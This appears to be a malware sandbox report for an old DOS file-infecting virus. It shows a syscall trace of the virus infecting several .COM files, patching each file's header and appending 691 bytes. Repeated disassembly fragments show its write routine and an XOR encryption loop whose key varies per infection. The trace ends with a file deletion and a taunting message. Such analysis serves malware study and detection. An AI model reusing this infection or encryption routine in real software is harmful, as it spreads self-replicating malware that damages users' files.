Sample viewer

vx.netlux.org/Virus.DOS.VCC.Corp.691

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:44:49.854442761Z 26 PC: 12a72 | Set disk transfer address
2018-12-17T22:44:49.857763648Z 37 PC: 12a80 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:44:49.859177753Z 37 PC: 12a84 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:44:49.860579386Z 78 PC: 12acf | Find first file
2018-12-17T22:44:49.867058575Z 61 PC: 12c87 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:44:49.874705567Z 63 PC: 12c96 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:49.881425368Z 66 PC: 12ca5 | Move file pointer
2018-12-17T22:44:49.883212054Z 66 PC: 12cb4 | Move file pointer
2018-12-17T22:44:49.886076394Z 64 PC: 12cc0 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:49.889062171Z 66 PC: 12ccc | Move file pointer
2018-12-17T22:44:49.890706229Z 44 PC: 12cd0 | Get time 0x12cd0: mov byte ptr [bp + 0x2b3], dl
0x12cd4: call 0x12cea
0x12cd7: mov ah, 0x40
0x12cd9: mov cx, 0x2b3
0x12cdc: lea dx, word ptr [bp + 6]
0x12ce0: int 0x21
0x12ce2: call 0x12cea
0x12ce5: mov ah, 0x3e
0x12ce7: int 0x21
0x12ce9: ret
0x12cea: lea si, word ptr [bp + 0x1f]
0x12cee: mov cx, 0x275
0x12cf1: xor byte ptr [si], 0
0x12cf4: inc si
0x12cf5: dec cx
0x12cf6: jne 0x12cf1
0x12cf8: ret
0x12cf9: add word ptr [bx], di
0x12cfb: aas
0x12cfc: aas
2018-12-17T22:44:49.894676095Z 64 PC: 12ce2 | Write file or device (Write 691 bytes on handle 5)
2018-12-17T22:44:49.910873897Z 62 PC: 12ce9 | Close file
2018-12-17T22:44:49.923919027Z 79 PC: 12acf | Find next file
2018-12-17T22:44:49.927463164Z 61 PC: 12c87 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:44:49.935472296Z 63 PC: 12c96 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:49.944614146Z 66 PC: 12ca5 | Move file pointer
2018-12-17T22:44:49.947377115Z 66 PC: 12cb4 | Move file pointer
2018-12-17T22:44:49.9489929Z 64 PC: 12cc0 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:49.952668984Z 66 PC: 12ccc | Move file pointer
2018-12-17T22:44:49.955843246Z 44 PC: 12cd0 | Get time 0x12cd0: mov byte ptr [bp + 0x2b3], dl
0x12cd4: call 0x12cea
0x12cd7: mov ah, 0x40
0x12cd9: mov cx, 0x2b3
0x12cdc: lea dx, word ptr [bp + 6]
0x12ce0: int 0x21
0x12ce2: call 0x12cea
0x12ce5: mov ah, 0x3e
0x12ce7: int 0x21
0x12ce9: ret
0x12cea: lea si, word ptr [bp + 0x1f]
0x12cee: mov cx, 0x275
0x12cf1: xor byte ptr [si], 0x43
0x12cf4: inc si
0x12cf5: dec cx
0x12cf6: jne 0x12cf1
0x12cf8: ret
0x12cf9: add word ptr [bx], di
0x12cfb: aas
0x12cfc: aas
2018-12-17T22:44:49.96010492Z 64 PC: 12ce2 | Write file or device (Write 691 bytes on handle 5)
2018-12-17T22:44:49.969399577Z 62 PC: 12ce9 | Close file
2018-12-17T22:44:49.97813842Z 79 PC: 12acf | Find next file
2018-12-17T22:44:49.982024248Z 61 PC: 12c87 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:44:49.989758043Z 63 PC: 12c96 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:49.996668642Z 66 PC: 12ca5 | Move file pointer
2018-12-17T22:44:49.999361811Z 66 PC: 12cb4 | Move file pointer
2018-12-17T22:44:50.001659295Z 64 PC: 12cc0 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:50.004807328Z 66 PC: 12ccc | Move file pointer
2018-12-17T22:44:50.007776414Z 44 PC: 12cd0 | Get time 0x12cd0: mov byte ptr [bp + 0x2b3], dl
0x12cd4: call 0x12cea
0x12cd7: mov ah, 0x40
0x12cd9: mov cx, 0x2b3
0x12cdc: lea dx, word ptr [bp + 6]
0x12ce0: int 0x21
0x12ce2: call 0x12cea
0x12ce5: mov ah, 0x3e
0x12ce7: int 0x21
0x12ce9: ret
0x12cea: lea si, word ptr [bp + 0x1f]
0x12cee: mov cx, 0x275
0x12cf1: xor byte ptr [si], 0x49
0x12cf4: inc si
0x12cf5: dec cx
0x12cf6: jne 0x12cf1
0x12cf8: ret
0x12cf9: add word ptr [bx], di
0x12cfb: aas
0x12cfc: aas
2018-12-17T22:44:50.010711838Z 64 PC: 12ce2 | Write file or device (Write 691 bytes on handle 5)
2018-12-17T22:44:50.01940265Z 62 PC: 12ce9 | Close file
2018-12-17T22:44:50.029116154Z 79 PC: 12acf | Find next file
2018-12-17T22:44:50.033363621Z 61 PC: 12c87 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:44:50.041080585Z 63 PC: 12c96 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:50.053371068Z 66 PC: 12ca5 | Move file pointer
2018-12-17T22:44:50.05600794Z 66 PC: 12cb4 | Move file pointer
2018-12-17T22:44:50.057858195Z 64 PC: 12cc0 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:50.060939793Z 66 PC: 12ccc | Move file pointer
2018-12-17T22:44:50.063632901Z 44 PC: 12cd0 | Get time 0x12cd0: mov byte ptr [bp + 0x2b3], dl
0x12cd4: call 0x12cea
0x12cd7: mov ah, 0x40
0x12cd9: mov cx, 0x2b3
0x12cdc: lea dx, word ptr [bp + 6]
0x12ce0: int 0x21
0x12ce2: call 0x12cea
0x12ce5: mov ah, 0x3e
0x12ce7: int 0x21
0x12ce9: ret
0x12cea: lea si, word ptr [bp + 0x1f]
0x12cee: mov cx, 0x275
0x12cf1: xor byte ptr [si], 0x4e
0x12cf4: inc si
0x12cf5: dec cx
0x12cf6: jne 0x12cf1
0x12cf8: ret
0x12cf9: add word ptr [bx], di
0x12cfb: aas
0x12cfc: aas
2018-12-17T22:44:50.066467475Z 64 PC: 12ce2 | Write file or device (Write 691 bytes on handle 5)
2018-12-17T22:44:50.076578275Z 62 PC: 12ce9 | Close file
2018-12-17T22:44:50.087928071Z 79 PC: 12acf | Find next file
2018-12-17T22:44:50.091009428Z 61 PC: 12c87 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:44:50.098423093Z 63 PC: 12c96 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:50.105951772Z 66 PC: 12ca5 | Move file pointer
2018-12-17T22:44:50.108054752Z 66 PC: 12cb4 | Move file pointer
2018-12-17T22:44:50.109855334Z 64 PC: 12cc0 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:50.113760649Z 66 PC: 12ccc | Move file pointer
2018-12-17T22:44:50.115654726Z 44 PC: 12cd0 | Get time 0x12cd0: mov byte ptr [bp + 0x2b3], dl
0x12cd4: call 0x12cea
0x12cd7: mov ah, 0x40
0x12cd9: mov cx, 0x2b3
0x12cdc: lea dx, word ptr [bp + 6]
0x12ce0: int 0x21
0x12ce2: call 0x12cea
0x12ce5: mov ah, 0x3e
0x12ce7: int 0x21
0x12ce9: ret
0x12cea: lea si, word ptr [bp + 0x1f]
0x12cee: mov cx, 0x275
0x12cf1: xor byte ptr [si], 0x54
0x12cf4: inc si
0x12cf5: dec cx
0x12cf6: jne 0x12cf1
0x12cf8: ret
0x12cf9: add word ptr [bx], di
0x12cfb: aas
0x12cfc: aas
2018-12-17T22:44:50.127688267Z 64 PC: 12ce2 | Write file or device (Write 691 bytes on handle 5)
2018-12-17T22:44:50.137461592Z 62 PC: 12ce9 | Close file
2018-12-17T22:44:50.146510969Z 79 PC: 12acf | Find next file
2018-12-17T22:44:50.149741065Z 61 PC: 12c87 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:44:50.157900901Z 63 PC: 12c96 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:50.164934982Z 66 PC: 12ca5 | Move file pointer
2018-12-17T22:44:50.166705006Z 66 PC: 12cb4 | Move file pointer
2018-12-17T22:44:50.168645851Z 64 PC: 12cc0 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:50.172601882Z 66 PC: 12ccc | Move file pointer
2018-12-17T22:44:50.174370604Z 44 PC: 12cd0 | Get time 0x12cd0: mov byte ptr [bp + 0x2b3], dl
0x12cd4: call 0x12cea
0x12cd7: mov ah, 0x40
0x12cd9: mov cx, 0x2b3
0x12cdc: lea dx, word ptr [bp + 6]
0x12ce0: int 0x21
0x12ce2: call 0x12cea
0x12ce5: mov ah, 0x3e
0x12ce7: int 0x21
0x12ce9: ret
0x12cea: lea si, word ptr [bp + 0x1f]
0x12cee: mov cx, 0x275
0x12cf1: xor byte ptr [si], 0x59
0x12cf4: inc si
0x12cf5: dec cx
0x12cf6: jne 0x12cf1
0x12cf8: ret
0x12cf9: add word ptr [bx], di
0x12cfb: aas
0x12cfc: aas
2018-12-17T22:44:50.177095251Z 64 PC: 12ce2 | Write file or device (Write 691 bytes on handle 5)
2018-12-17T22:44:50.486291899Z 62 PC: 12ce9 | Close file
2018-12-17T22:44:50.506234474Z 79 PC: 12acf | Find next file
2018-12-17T22:44:50.509310822Z 61 PC: 12c87 | Open file (Filename = 'PAH.COM')
2018-12-17T22:44:50.517202955Z 63 PC: 12c96 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:50.52412791Z 66 PC: 12ca5 | Move file pointer
2018-12-17T22:44:50.525878338Z 66 PC: 12cb4 | Move file pointer
2018-12-17T22:44:50.528309184Z 64 PC: 12cc0 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:50.531414215Z 66 PC: 12ccc | Move file pointer
2018-12-17T22:44:50.533149404Z 44 PC: 12cd0 | Get time 0x12cd0: mov byte ptr [bp + 0x2b3], dl
0x12cd4: call 0x12cea
0x12cd7: mov ah, 0x40
0x12cd9: mov cx, 0x2b3
0x12cdc: lea dx, word ptr [bp + 6]
0x12ce0: int 0x21
0x12ce2: call 0x12cea
0x12ce5: mov ah, 0x3e
0x12ce7: int 0x21
0x12ce9: ret
0x12cea: lea si, word ptr [bp + 0x1f]
0x12cee: mov cx, 0x275
0x12cf1: xor byte ptr [si], 0x59
0x12cf4: inc si
0x12cf5: dec cx
0x12cf6: jne 0x12cf1
0x12cf8: ret
0x12cf9: add word ptr [bx], di
0x12cfb: aas
0x12cfc: aas
2018-12-17T22:44:50.536887986Z 64 PC: 12ce2 | Write file or device (Write 691 bytes on handle 5)
2018-12-17T22:44:50.545637499Z 62 PC: 12ce9 | Close file
2018-12-17T22:44:50.554260164Z 26 PC: 12ae9 | Set disk transfer address
2018-12-17T22:44:50.556014328Z 19 PC: 12afb | Delete file
2018-12-17T22:44:50.562946057Z 9 PC: 12b2d | Display string (String= 'RISK You cannot discover new oceans unless you have the courage to lose sight of the shore Of couse, your boat will have a leak!!! ')